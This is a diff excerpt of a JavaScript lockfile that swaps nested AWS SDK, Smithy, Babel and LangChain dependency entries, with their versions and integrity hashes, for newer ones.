+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
+ "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
+ "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "@google/genai/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
-
"@istanbuljs/load-nyc-config/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"@jest/expect/expect/jest-matcher-utils/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
